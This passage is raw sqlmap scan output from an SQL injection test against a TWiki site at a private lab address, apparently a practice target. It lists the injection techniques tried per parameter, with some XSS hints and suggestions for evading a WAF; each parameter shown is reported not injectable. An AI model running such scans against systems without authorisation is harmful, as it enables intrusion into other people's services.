Server/Sybase stacked queries (comment)' [18:54:06] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:54:07] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:54:07] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:54:07] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:54:08] [INFO] testing 'Oracle AND time-based blind' [18:54:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:54:08] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:54:14] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:54:19] [WARNING] GET parameter 'topicparent' is not injectable [18:54:19] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 67: GET http://192.168.1.113:80/twiki/bin/viewfile/TWiki/FileAttachment?rev=&filename=Sample.txt do you want to test this URL? [Y/n/q] Y [18:54:19] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/viewfile/TWiki/FileAttachment?rev=&filename=Sample.txt' [18:54:19] [INFO] testing connection to the target URL sqlmap got a 302 redirect to 'http://192.168.1.113/twiki/pub/TWiki/FileAttachment/Sample.txt'. Do you want to follow? [Y/n] Y [18:54:19] [INFO] heuristics detected web page charset 'ascii' [18:54:20] [INFO] testing if the target URL is stable [18:54:20] [WARNING] GET parameter 'rev' does not appear dynamic [18:54:21] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [18:54:21] [INFO] testing for SQL injection on GET parameter 'rev' [18:54:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:54:21] [WARNING] reflective value(s) found and filtering out [18:54:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:54:22] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:54:22] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:54:23] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:54:23] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:54:23] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:54:23] [INFO] testing 'MySQL inline queries' [18:54:24] [INFO] testing 'PostgreSQL inline queries' [18:54:24] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:54:24] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:54:24] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:54:24] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:54:25] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:54:25] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:54:26] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:54:26] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:54:26] [INFO] testing 'Oracle AND time-based blind' [18:54:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:54:27] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:54:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:54:36] [WARNING] GET parameter 'rev' is not injectable [18:54:36] [WARNING] GET parameter 'filename' does not appear dynamic [18:54:37] [WARNING] heuristic (basic) test shows that GET parameter 'filename' might not be injectable [18:54:37] [INFO] testing for SQL injection on GET parameter 'filename' [18:54:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:54:38] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:54:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:54:38] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:54:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:54:39] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:54:39] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:54:40] [INFO] testing 'MySQL inline queries' [18:54:40] [INFO] testing 'PostgreSQL inline queries' [18:54:40] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:54:40] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:54:40] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:54:40] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:54:41] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:54:41] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:54:42] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:54:42] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:54:43] [INFO] testing 'Oracle AND time-based blind' [18:54:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:54:48] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:54:52] [WARNING] GET parameter 'filename' is not injectable [18:54:52] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 68: GET http://192.168.1.113:80/twiki/bin/attach/TWiki/FileAttachment?filename=Sample.txt&revInfo=1 do you want to test this URL? [Y/n/q] Y [18:54:52] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/attach/TWiki/FileAttachment?filename=Sample.txt&revInfo=1' [18:54:52] [INFO] testing connection to the target URL [18:54:53] [INFO] testing if the target URL is stable [18:54:53] [INFO] target URL is stable [18:54:53] [INFO] testing if GET parameter 'filename' is dynamic [18:54:53] [WARNING] GET parameter 'filename' does not appear dynamic [18:54:54] [WARNING] heuristic (basic) test shows that GET parameter 'filename' might not be injectable [18:54:54] [INFO] heuristic (XSS) test shows that GET parameter 'filename' might be vulnerable to XSS attacks [18:54:54] [INFO] testing for SQL injection on GET parameter 'filename' [18:54:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:54:54] [WARNING] reflective value(s) found and filtering out [18:54:55] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:54:55] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:54:56] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:54:56] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:54:57] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:54:58] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:54:58] [INFO] testing 'MySQL inline queries' [18:54:58] [INFO] testing 'PostgreSQL inline queries' [18:54:58] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:54:58] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:54:59] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:54:59] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:54:59] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:55:00] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:55:00] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:55:01] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:55:01] [INFO] testing 'Oracle AND time-based blind' [18:55:02] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:55:02] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:55:08] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:55:14] [WARNING] GET parameter 'filename' is not injectable [18:55:14] [INFO] testing if GET parameter 'revInfo' is dynamic [18:55:14] [WARNING] GET parameter 'revInfo' does not appear dynamic [18:55:14] [WARNING] heuristic (basic) test shows that GET parameter 'revInfo' might not be injectable [18:55:15] [INFO] testing for SQL injection on GET parameter 'revInfo' [18:55:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:55:16] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:55:16] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:55:16] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:55:17] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:55:17] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:55:18] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:55:18] [INFO] testing 'MySQL inline queries' [18:55:18] [INFO] testing 'PostgreSQL inline queries' [18:55:18] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:55:18] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:55:19] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:55:19] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:55:20] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:55:20] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:55:20] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:55:21] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:55:21] [INFO] testing 'Oracle AND time-based blind' [18:55:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:55:28] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:55:33] [WARNING] GET parameter 'revInfo' is not injectable [18:55:33] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:55:33] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/attach/TWiki/FileAttachment?filename=Smile.gif&revInfo=1' URL 69: GET http://192.168.1.113:80/twiki/bin/viewfile/TWiki/TWiki/FileAttachment?rev=&filename=Sample.txt do you want to test this URL? [Y/n/q] Y [18:55:33] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/viewfile/TWiki/TWiki/FileAttachment?rev=&filename=Sample.txt' [18:55:33] [INFO] testing connection to the target URL sqlmap got a 302 redirect to 'http://192.168.1.113/twiki/bin/oops/TWiki/TWiki/FileAttachment'. Do you want to follow? [Y/n] Y [18:55:34] [INFO] testing if the target URL is stable [18:55:35] [WARNING] GET parameter 'rev' does not appear dynamic [18:55:35] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [18:55:35] [INFO] testing for SQL injection on GET parameter 'rev' [18:55:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:55:37] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:55:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:55:38] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:55:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:55:40] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:55:41] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:55:41] [INFO] testing 'MySQL inline queries' [18:55:41] [INFO] testing 'PostgreSQL inline queries' [18:55:41] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:55:41] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:55:42] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:55:43] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:55:43] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:55:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:55:45] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:55:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:55:46] [INFO] testing 'Oracle AND time-based blind' [18:55:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:55:47] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:55:57] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:56:06] [WARNING] GET parameter 'rev' is not injectable [18:56:06] [WARNING] GET parameter 'filename' does not appear dynamic [18:56:06] [WARNING] heuristic (basic) test shows that GET parameter 'filename' might not be injectable [18:56:06] [INFO] testing for SQL injection on GET parameter 'filename' [18:56:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:56:08] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:56:08] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:56:09] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:56:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:56:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:56:11] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:56:12] [INFO] testing 'MySQL inline queries' [18:56:12] [INFO] testing 'PostgreSQL inline queries' [18:56:12] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:56:12] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:56:13] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:56:13] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:56:14] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:56:15] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:56:15] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:56:16] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:56:17] [INFO] testing 'Oracle AND time-based blind' [18:56:18] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:56:27] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:56:37] [WARNING] GET parameter 'filename' is not injectable [18:56:37] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:56:37] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/viewfile/TWiki/FileAttachment?rev=1.1&filename=Sample.txt' URL 70: GET http://192.168.1.113:80/twiki/bin/rename/TWiki/FileAttachment?attachment=Sample.txt do you want to test this URL? [Y/n/q] Y [18:56:37] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rename/TWiki/FileAttachment?attachment=Sample.txt' [18:56:37] [INFO] testing connection to the target URL [18:56:37] [INFO] testing if the target URL is stable [18:56:38] [INFO] target URL is stable [18:56:38] [INFO] testing if GET parameter 'attachment' is dynamic [18:56:38] [WARNING] GET parameter 'attachment' does not appear dynamic [18:56:38] [WARNING] heuristic (basic) test shows that GET parameter 'attachment' might not be injectable [18:56:38] [INFO] heuristic (XSS) test shows that GET parameter 'attachment' might be vulnerable to XSS attacks [18:56:38] [INFO] testing for SQL injection on GET parameter 'attachment' [18:56:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:56:38] [WARNING] reflective value(s) found and filtering out [18:56:39] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:56:39] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:56:40] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:56:41] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:56:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:56:42] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:56:42] [INFO] testing 'MySQL inline queries' [18:56:42] [INFO] testing 'PostgreSQL inline queries' [18:56:42] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:56:42] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:56:42] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:56:43] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:56:43] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:56:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:56:44] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:56:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:56:45] [INFO] testing 'Oracle AND time-based blind' [18:56:46] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:56:46] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:56:52] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:56:58] [WARNING] GET parameter 'attachment' is not injectable [18:56:58] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 71: GET http://192.168.1.113/twiki/bin/view/TWiki/TWikiSkins?skin=print do you want to test this URL? [Y/n/q] Y [18:56:58] [INFO] testing URL 'http://192.168.1.113/twiki/bin/view/TWiki/TWikiSkins?skin=print' [18:56:58] [INFO] testing connection to the target URL [18:56:58] [INFO] testing if the target URL is stable [18:56:59] [INFO] target URL is stable [18:56:59] [INFO] testing if GET parameter 'skin' is dynamic [18:56:59] [INFO] confirming that GET parameter 'skin' is dynamic [18:56:59] [INFO] GET parameter 'skin' is dynamic [18:56:59] [INFO] heuristics detected web page charset 'ascii' [18:56:59] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [18:56:59] [INFO] testing for SQL injection on GET parameter 'skin' [18:56:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:56:59] [WARNING] reflective value(s) found and filtering out [18:57:00] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:57:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:57:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:57:02] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:57:02] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:57:03] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:57:03] [INFO] testing 'MySQL inline queries' [18:57:03] [INFO] testing 'PostgreSQL inline queries' [18:57:03] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:57:03] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:57:04] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:57:04] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:57:05] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:57:05] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:57:05] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:57:06] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:57:07] [INFO] testing 'Oracle AND time-based blind' [18:57:07] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:57:07] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:57:13] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:57:19] [WARNING] GET parameter 'skin' is not injectable [18:57:19] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:57:19] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/TWiki/TWikiSkins?skin=plain' URL 72: GET http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiMetaData?raw=debug do you want to test this URL? [Y/n/q] Y [18:57:19] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiMetaData?raw=debug' [18:57:19] [INFO] testing connection to the target URL [18:57:20] [INFO] testing if the target URL is stable [18:57:21] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [18:57:21] [INFO] testing if GET parameter 'raw' is dynamic [18:57:21] [WARNING] GET parameter 'raw' does not appear dynamic [18:57:21] [WARNING] heuristic (basic) test shows that GET parameter 'raw' might not be injectable [18:57:21] [INFO] testing for SQL injection on GET parameter 'raw' [18:57:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:57:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:57:22] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:57:23] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:57:23] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:57:24] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:57:24] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:57:24] [INFO] testing 'MySQL inline queries' [18:57:24] [INFO] testing 'PostgreSQL inline queries' [18:57:24] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:57:25] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:57:25] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:57:26] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:57:26] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:57:26] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:57:27] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:57:28] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:57:28] [INFO] testing 'Oracle AND time-based blind' [18:57:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:57:29] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:57:36] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:57:42] [WARNING] GET parameter 'raw' is not injectable [18:57:42] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 73: GET http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiHistory?rev1=1.10&rev2=1.9 do you want to test this URL? [Y/n/q] Y [18:57:42] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiHistory?rev1=1.10&rev2=1.9' [18:57:42] [INFO] testing connection to the target URL [18:57:43] [INFO] testing if the target URL is stable [18:57:43] [INFO] target URL is stable [18:57:43] [INFO] testing if GET parameter 'rev1' is dynamic [18:57:45] [INFO] confirming that GET parameter 'rev1' is dynamic [18:57:46] [INFO] GET parameter 'rev1' is dynamic [18:57:46] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [18:57:46] [INFO] heuristic (XSS) test shows that GET parameter 'rev1' might be vulnerable to XSS attacks [18:57:46] [INFO] testing for SQL injection on GET parameter 'rev1' [18:57:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:57:46] [WARNING] reflective value(s) found and filtering out [18:57:47] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:57:50] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:57:50] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:57:51] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:57:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:57:52] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:57:53] [INFO] testing 'MySQL inline queries'
[18:57:54] [INFO] testing 'PostgreSQL inline queries' [18:57:55] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:57:56] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:57:57] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:57:57] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:57:58] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:57:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:57:59] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:57:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:58:00] [INFO] testing 'Oracle AND time-based blind' [18:58:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:58:00] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:58:07] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:58:14] [WARNING] GET parameter 'rev1' is not injectable [18:58:14] [INFO] testing if GET parameter 'rev2' is dynamic [18:58:14] [INFO] confirming that GET parameter 'rev2' is dynamic [18:58:14] [INFO] GET parameter 'rev2' is dynamic [18:58:15] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [18:58:15] [INFO] heuristic (XSS) test shows that GET parameter 'rev2' might be vulnerable to XSS attacks [18:58:15] [INFO] testing for SQL injection on GET parameter 'rev2' [18:58:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:58:16] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:58:16] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:58:17] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:58:17] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:58:18] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:58:18] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:58:19] [INFO] testing 'MySQL inline queries' [18:58:19] [INFO] testing 'PostgreSQL inline queries' [18:58:19] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:58:19] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:58:20] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:58:20] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:58:21] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:58:21] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:58:21] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:58:22] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:58:23] [INFO] testing 'Oracle AND time-based blind' [18:58:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:58:30] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:58:36] [WARNING] GET parameter 'rev2' is not injectable [18:58:36] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 74: GET http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiHistory?rev=1.9 do you want to test this URL? [Y/n/q]
